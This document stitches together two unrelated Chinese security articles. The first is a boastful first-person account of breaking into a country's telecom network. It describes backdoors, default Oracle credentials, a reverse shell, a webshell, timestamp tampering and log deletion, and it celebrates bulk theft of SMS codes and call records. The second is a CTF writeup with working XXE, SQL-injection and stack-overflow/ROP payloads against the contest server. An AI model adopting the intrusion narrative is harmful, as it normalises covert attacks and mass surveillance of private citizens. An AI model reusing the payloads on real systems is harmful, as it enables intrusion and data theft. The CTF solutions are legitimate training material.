LMva 发布的文章

如何通过一台电脑黑掉一个国家?

注释:此检测部分已经授权,其它部分存在争议,但非黑产行为,要买数据的勿扰。

前言

先举个例子,你在注册FreeBuf的时候,主要是填写邮箱账号来注册。继续往下想,中国的互联网公司为了规范实名制注册,大部分邮箱都会要求填写手机号码来进行实名验证,同时手机短信验证码也作为了比较靠谱的一道安全机制。再往下想,如果你能够控制中国的短信记录系统,理论上来说你在中国的互联网就是神一般的存在,想破解哪个账号就破解哪个账号。

我今天就完成了这个目标,我,控制了一个国家的电信系统,这次安全检测也是我人生中的一个里程碑。基本每天都能获取到上千万的电信数据,包括但不限于短信记录,通话记录,sim定位信息,手机话费详情等。整个入侵检测周期大约有7个月之久。

事先声明一下,这个电信系统不是中国的,而是靠近美国的一个国家。入侵完后看到数据库的一瞬间,我是被震惊了。全部服务器中包含了大量公司针对电信系统所开发的源代码,包括但不限于IBM,中兴,华为等等,在其短信记录的数据库中,我发现了Facebook,各个银行,Google等在该国的全部短信验证码,短信全部采用了base64位转码。换句话来说,我可以破解那个国家全部的Facebook账号,Google账号等。

最搞笑的是,在入侵的过程中,突然有个美国的IP地址出现在netstat里面,还把我的后门进程终止了!!!我那个时候还在内网服务器提权中!CNM的!井水不犯河水,杀我进程搞毛线!激烈斗争了半个月,终止了那个黑客的后门进程,修复了漏洞,才得以保住我在该服务器的绝对控制权,不过我现在还纳闷那个IP到底是不是NSA的。

外网服务器入侵

注释:因为漏洞影响太大,很多地方已经去敏,阅读体验有所下降,望谅解。

七个月前,我收到了一个域名地址,www开头的,除此之外再也没有其它信息。这家公司在当地是最大的一个电信运营商,全部的基站都被他们所垄断,其它电信公司也只能租用这家公司的基站运营。为了方便简述,下面以代号A来称呼这家公司。

第一次入侵失败

才开始我是很绝望的,就一个域名地址,其它什么都没有,只能先做简单的信息收集。才开始是查看www主域名,也就是A公司的官网主页查找漏洞,发现主页是以WP的框架建设的,扫了半天没发现什么漏洞,而且全部流量都经过了CDN,还配备的WAF等安全机制。

从主站入侵太过困难,但是在其主页上面发现了他们邮箱,就是一个@+主域名,nslookup扫描一下,发现未设置SPF记录,在尝试之后发现是可以利用这个缺陷去伪造一份官方邮件的,基本的入侵思路也想到了,采用钓鱼来进行入侵,具体步骤如下图。
1.png

理想很丰满,现实很骨感。在测试过程中发现A公司的邮件服务器采用了Spamhaus的黑名单列表,我全部服务器的IP段都在那个黑名单里面,邮件发送过去,对方也没办法接收到。
2.png

不过针对邮件钓鱼的方式还有很多,我也可以注册一个和A公司相似的域名(比如baidu.com和baidu.vip),然后用腾讯企业邮箱之类的发送过去,但是不想搞那么麻烦,我更想试试看其它可靠的方法。

第二次入侵失败

我随后扫描了该域名的全部二级域名,扫描结果共找到了5个二级域名地址,这5个二级域名都属于内部管理系统,都是一个登录页面。其中3个是没有验证码机制的,两个有验证码,采用后端验证。那么基本就有3个地址是可以尝试枚举攻击的。依托于我强大的字典,然后开始进行一一测试。测试了一天后发现,虽然那三个地址没有验证码机制,但是如果一个IP尝试过多的访问,那么会将该IP给拉入黑名单,同时,如果一个账号登录错误次数超过10此,这个账号将会被封锁。

第N次入侵成功

再后面大大小小的入侵也都尝试过了,但是都没有找到相关的突破口。万念俱灰之间,看了一下二级域名的扫描列表,突然发现了个有意思的情况。主站www域名和另外3个二级域名是经过CDN的,但是有1个二级域名都没经过CDN,直接是服务器真实IP地址。喝了杯咖啡冷静一会儿后,我就在想那么大一家电信企业,不可能只有四个内部管理系统,肯定有数十个不止。既然有1个二级域名已经暴露真实IP了,那么在其IP段是否有多个业务管理系统?

这个想法诞生后,直接NMAP扫描这个IP段,果不其然发现了数十个内部管理系统的登录界面,贴图给大家展示一下。
3.png
4.png

在其中一个系统中找到了一个上传漏洞,上传了一个后门,提升为root权限。
5.png

然后在这个服务器上发现了中兴和Facebook的相关源代码。
6.png

7.png

服务器是IBM架设的,采用Suse Linux。

8.png
还有很多细节就不一一展示了。

第一道内网入侵

第一台被入侵的服务器可以连接外网,但是里面的东西少的可怜,基本没啥太大价值的,就是一些源代码。经过长达两个月的分析,该服务器可以访问内网的服务器大于有200多台。内网扫描基本上也就是reGeorg开个socks代理,在linux上直接用proxychain做全局代理,windows上使用Proxifier做全局代理,然后直接nmap扫描了。其中一个内网IP地址开放了1521端口,那么没啥可以商量的了,尝试oracle默认账号和密码登录成功(system/manager),直接脱裤。下载下来发现是一个内部管理系统的数据库,数据量少的可怜,并无短信记录啥的。当时我就在想,会不会有二层内网,三层内网这么一种情况?

第二道内网入侵

既然有点子了,撸起袖子就开搞!Google了一下oracle 11G写shell的相关文章,然后写了个bash反弹shell,再运用MSF多层跳板技术对其内网反弹shell进行连接,然后控制其内网服务器。控制内网服务器后,帮它架设了一个Web环境,上传个jspspy大马,修改文件日期以防被管理员察觉,然后删除服务器日志记录。至此,那台内网服务器也被拿下,再对其扫描,果不其然又发现了一个超级大的数据库,也是oracle。

整个内网入侵的步骤有点复杂,之后我发现了这么一个内网入侵神器,现在都是用这个神器对内网入侵设备进行管理。

Termite:之前叫做EarthWorm,目前新版本叫做Termite,个人非常钟爱的内网管理工具,好像是个妹子写的,佩服佩服!

9.png

不打广告了,继续诉说细节。整理了手上现有的信息,花了2个月做分析,发现那个国家的电信系统布局情况,如下图所示。

10.png

在那个国家,不管你使用哪个电信运营商,最后的数据都会汇总到内网服务器中,由政府机构所掌控。现在我只访问到第二层内网服务器,是否有第三层内网暂时不得而知。花了一个月的时间,把第二层内网服务器中的其中一个数据库给扒下来了,数据大小约有700多个G,给你们一张图片感受一下。

11.png

Show Time

文字说的差不多了,该到装B环节了,请开始我的表演~

源代码

12.png

数据库

13.png
14.png
15.png

短信记录

16.png
17.png

各种内网系统

18.png
19.png

相关链接

oracle写shell:https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell

MSF内网跳板详解:http://www.freebuf.com/sectool/56432.html

Termite官网:http://rootkiter.com/Termite/

总结

因为漏洞危害太大,很多地方都去敏了,让大家看到那么多马赛克十分抱歉。整个入侵还有很多步骤没细说,比如说几百G的数据文件,我是怎么拖下来的,rootkit植入,linux提权,我和那个美国黑客斗智斗勇的细节等等。

这篇文章主要表达了我对当前互联网安全机制的疑惑。假设说真的靠短信验证码作为最后一道安全措施,那么在其电信系统沦陷的情况下,整个互联网公司的安全体系将全部崩塌。举个例子现在我可以随便盗取那个国家任意一个Facebook账号,而且Facebook官方还纳闷漏洞在哪里。他当然纳闷了,漏洞不在他本身,而是整个安全体系就存在缺陷。我也可以盗取那个国家任意一个银行账户,银行发的短信验证码我全部都能收到。甚至玩的大一点,把那个国家全部的电信账号全部设置为欠费999999美元,再删除备份数据库,然后整个国家断网,想想就刺激。虽然现在找到了针对SMS短信记录,电话记录等等数据,但是我也只是入侵了整个内网系统的百分之五都不到。假如全部搞下来,我还可以监听任意网络流量等等,而我在那个国家的互联网上,就是神一般的存在。

我的主业目前是大数据垂直领域的研究,网络安全只能说是我的一个爱好。虽然以后的文章会越来越少,但是窃.格瓦拉精神在BUF永驻!
『PDF版下载』


3Years团队CFF线上赛writeup

请输入图片描述

3Years Team由来自各个院校的信息安全爱好者自发组建而成。初创时只有五人的小队,现已经成为有着二十余位活跃成员的团队。这其中有Web大牛,有逆向达人,也有负责卖萌倒水的逗比,他们因为同样的爱好聚在了一起,虽然其中一些人才刚刚爱上信息安全,也有很多人加入这个团队,但作为一个富有朝气的团队,磨合期的他们都尽己所能,将team work精神发挥到极致。

逆向工程

一:软件密码破解_1

MFC程序。判断函数在401BB0
请输入图片描述
输入会和 28 57 64 6B 93 8F 65 51 E3 53 E4 4E 1A FF 异或,然后对比。
直接异或回去即可。

二:软件密码破解_2

程序会调用WriteProcessMemory写自己。直接把写入的值保存,用ida打开。
请输入图片描述
输入的值会和elcome to CFF te异或。
然后结果在这里。
请输入图片描述
异或回去就ok。

三:软件密码破解_3

MFC程序,当输入16位大写MD5的时候,会激活确定按钮。
这个时候会将你输入的转化成8字节的数据,比如输入0123456789ABCDEF
内存中就是 0x01 0x23 0x45 0x67 0x89 0xAB 0xCD 0xEF
然后进入主判断函数 401B80
请输入图片描述
那个401970是加密函数,使用一个固定的256位的表把输入的8位进行单表替换64*4=256次。
加密后结果需要满足上面那个方程。。。。
于是解方程。
解是 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65
写程序获得flag

#include <windows.h>
#include <stdio.h>
int table[256] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 };

unsigned __int8 index(int in)
{
    for (int i = 0; i < 256;i++)
    {
        if (in==table[i])
        {
            return i;
        }
    }
    return 256;
}
void main()
{

signed int v0; // esi@1
unsigned __int8 v1; // bl@2
unsigned __int8 v2; // cl@2
unsigned __int8 v3; // al@2
unsigned __int8 v4; // cl@2
unsigned __int8 v5; // al@2
unsigned __int8 v6; // dl@2
unsigned __int8 v7; // bl@2
unsigned __int8 v8; // cl@2
unsigned __int8 v9; // al@2
unsigned __int8 v10; // dl@2
unsigned __int8 v11; // bl@2
unsigned __int8 v12; // cl@2
unsigned __int8 v13; // al@2
unsigned __int8 v14; // dl@2
char v15; // bl@2
int v16; // edi@2
char v17; // cl@2
char v18; // dl@2
unsigned __int8 v19; // dl@2
int result; // eax@2
unsigned __int8 v21; // cl@2
unsigned __int8 in[8] = { 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65 };
for (int a = 0; a < 64;a++)
{
    for (int i = 0; i < 8;i++)
    {
        in[i] = index(index(index(index(in[i]))));
    }
}
for (int i = 0; i < 8;i++)
{
    printf("%x", in[i]);
}

}

四:文件数据修复

主加密函数在402570
其中可以看到最终加密的数据是循环异或的。
请输入图片描述
再看文件。
请输入图片描述
很明显的纵列递增。
但我们并不知道加密数据从何开始。
注意到数据中的0x619c
请输入图片描述
这是后面整个数据的长度,借此推测,正式加密数据从0x43 c9 。。。开始。
首先猜测后面规律递增数据都是0,那么很容易得出key是0x13,0x82,0xFE,0x47,0xe4,0xb9,0x8e,0xd8,0x68,0xfc,0xa1,0xd5,0x4a,0x4f,0x36,0x2
直接使用这个key解密得出一个doc文件,得到flag。
WEB安全

一:API调用

请选手访问 http://139.196.232.222:55000/ 通过某种奇怪的Web攻击技术获取/tmp/cff2016.txt 中的flag值。Flag为32位小写md5。

POST http://139.196.232.222:55000/api/v1.0/try HTTP/1.1
Host: 139.196.232.222:55000
Connection: keep-alive
Content-Length: 177
Origin: http://139.196.232.222:55000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Content-Type: application/xml

//这里原来是json,把他改成xml,让服务器能解析xml

Accept: */*
Referer: http://139.196.232.222:55000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

//提交XML表单

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/cff2016.txt" >]> 
//把文件读取到变量xxe
<root>  
<search>type sth!</search>
<value>&xxe;</value>
//调用变量
</root>

请输入图片描述

二:登陆错误

这题可以看到
请输入图片描述

发现图片是用base64编码表示的,看到这里结合url里的地址,访问了一下
image.3001.net/images/new/logo.png
发现可以访问,大概知道过程应该是下载这张图片,然后base64编码,再放出来。
比较典型的SSRF,尝试SSRF读文件。
用127.0.0.1来访问本地文件,发现不管输入的地址是什么,结果都没变化,然后本地测试了一下,发现。
访问127.0x0.0.1和127.0.0.1是一样的效果,测试,终于出现变化了。

请输入图片描述
重定向到这里:

http://139.196.232.222/login/127.admin.hackshow.com.1

然后我又试了一下 发现只输入 0x0.0 就能弹,此时url是
http://139.196.232.222/login/admin.hackshow.com
访问http://139.196.232.222:56000/login/
发现 403 然后后面随便加个字符就出现一句话

http://139.196.232.222:56000/login/1

Login Fail. Username or password incorrect!

然后日了狗了。。哪里来的用户名和密码。。

别问我为什么,然后我就这样了
admin@123456:admin.hackshow.com
丧心病狂
请输入图片描述
看一下,显示

WAF Denial!

然后我就去考六级了。听听力一直在写,什么鸡毛鬼啊,卧槽。
就这样,我六级估计是跪了。
然后回来。

请输入图片描述
What the fuck ?

谁能告诉我为什么?

求大牛解释。。。

三:典型攻击

这题相对别的几道web题真的是最良心的一题了.......
请输入图片描述

输入一个数字,然后点击就加一。。当时在比赛,好多人在玩。。所以有时候一下数字就会变好多,猜测存在一个插入语句。

各种尝试,发现/x27报错

请输入图片描述

然后想到wooyun一篇drops 利用insert报错来注入。

于是构造payload

http://139.196.232.222:57000/inject.php?exp=1\x27OR\x20updatexml(1,concat(0x7e,(\x20SELECT\x20substr(\x20LOAD_FILE(0x2f746d702f636666323031362e747874),1,40))),0)\x20OR\x27

之后得到了

XPATH syntax error: '~{FLAG:c9477f3d7ddc312bec8097213'

发现不全。。因为LOAD_FILE报错一次最多出32位数据。。所以用substr指定一下开始的位置。。爆出后面25位。。

XPATH syntax error: '~77f3d7ddc312bec80972132181b41} '

结合一下,得到flag

{FLAG:c9477f3d7ddc312bec80972132181b41}

漏洞挖掘

一:总是lose的程序

首先,必须要吐槽一下这次主办方。
Pwn题目一开始上的是root权限。。。root啊。。。
另外,所有pwn都没有setbuf,导致。。。输出缓冲啊。。。
完全没有leak可用。。。
吐槽完毕。
这题极其明显的栈溢出。
直接跳win函数就好。

from pwn import *
debug=0
if debug:
    p=process('./100')
    gdb.attach(p)
else:
    p=remote('139.196.232.222',54000)
p.sendline('a'*64+p32(0x804861B))
p.interactive()

请输入图片描述

二:突破逻辑

还是极其明显的栈溢出。
坑在于。。。有输出缓存,不能leak。
还好直接给了system,于是rop写/bin/sh 然后直接system之

from pwn import *
p=remote('139.196.232.222',53000)
p.sendline('a'*23+p32(0x080484A0)+p32(0x080483f2)+p32(0x8048817)+p32(0x804A038)+'aaaa'+p32(0x8048440)+p32(0x8048677)+p32(0x804A038))
p.sendline('/bin/sh\x00')
p.interactive()

三:文件格式

此题一开始没看懂,后面发现和wav根本没有关系。。。
这边有个select_dsd,该函数中有个奇怪的东西。
请输入图片描述
还有个奇怪的get_sth 函数。
直接gdb运行这个函数,输出一句话让我们提交文件到一个网址。
再看看flag文件。
请输入图片描述
果然。把89改成88,提交网址得到flag。。。

移动安全

一:APK_100

此题刚想调试的时候,人品出现了。
随机数0,有没有!!
(也许是AVD卡了。。)
请输入图片描述
。。没办法,人品就是这么6

非人品方法:

请输入图片描述
看了下java代码,没啥东西,flag肯定在so里面。。。

请输入图片描述
Ida打开 ,jni_onload函数,一个if分支,正确则输出65540,这就是flag,MD5后提交。

协议分析

吐槽:这部分题目都可以扔notepad+里搜到flag……

一:简单网管协议

看到题目,我首先想到了网络管理协议(SNMP),于是过滤了下snmp数据包。搜索后拿到了第一个签到flag。
请输入图片描述

flag{077149a68b9d4f25f52bb11530f44028}

二:远程登录协议

“远程登录”开始的时候让我想到了SSH数据包分析,过滤后发现ssh包里面并没有flag,然后思考了下telnet,于是把telnet包全部过滤了一下,然后用搜索了一下flag。很神奇的事发生了我居然搜到四个flag,挨个尝试下提交吧,果然里面有一个真flag存在。

请输入图片描述

请输入图片描述

请输入图片描述

请输入图片描述

各个FLAG都尝试提交后获得真FLAG。

三:WEBSHELL分析

Webshell分析
拿到题目首先思路,首先试试搜索flag,在搜索过程中发现一个POST包里存在一个base64加密。

拿去base64解密得到了一个网站
请输入图片描述

http://cff2016.oss-cn-shanghai.aliyuncs.com/AbTzA2YteFjGhPWCftraouVD3B684a9A.jpg

打开之后是一个二维码,这时候就要掏出我的爪机扫一扫了。
扫描二维码获得FLAG。

四:struts2漏洞

搜索大法好,做题之前先搜索一波,老方法直接搜索flag。这题做出来主要靠运气,在搜索到第二个md5时,就拿到了正确的flag。
请输入图片描述

密码分析

一:莫尔斯电码字符串

直接转换获得FLAG。

二:德军的密码
只有0和1,二进制密码中的费娜姆密码。转换后的字符串就是FLAG。

三:好多盐
下载后获得66组md5+8个数字字母组成的文件,题目名字提到了盐,那么8位数字字母显然是md5的salt部分。
接下来是个很蛋疼的脑洞坑,题目给出固定格式 {FLAG:数字}。
这里需要注意的是,生成md5用的格式应为 {FLAG:数字}salt。
已经知道是6-10位数字,FLAG又是10位以后,从0000000000开始生成碰撞吧。
碰撞结果为{FLAG:1234567890}满足文档中的salt-MD5。
然后FLAG字符串十位,提交1234567890,成功。
四:影之密码
有01248五种数字,已知FLAG为8位,又发现有7个0,猜测0是间隔符号。
分离出的数字长度不同,1248都是2的倍数,想到2的0123次方,发现脑洞错误。
在德军密码题出来后,搜索德军密码使用的费娜姆密码时发现一种密码—云影密码。与影之密码完全符合。
将分组后的数字求和,转化得到FLAG。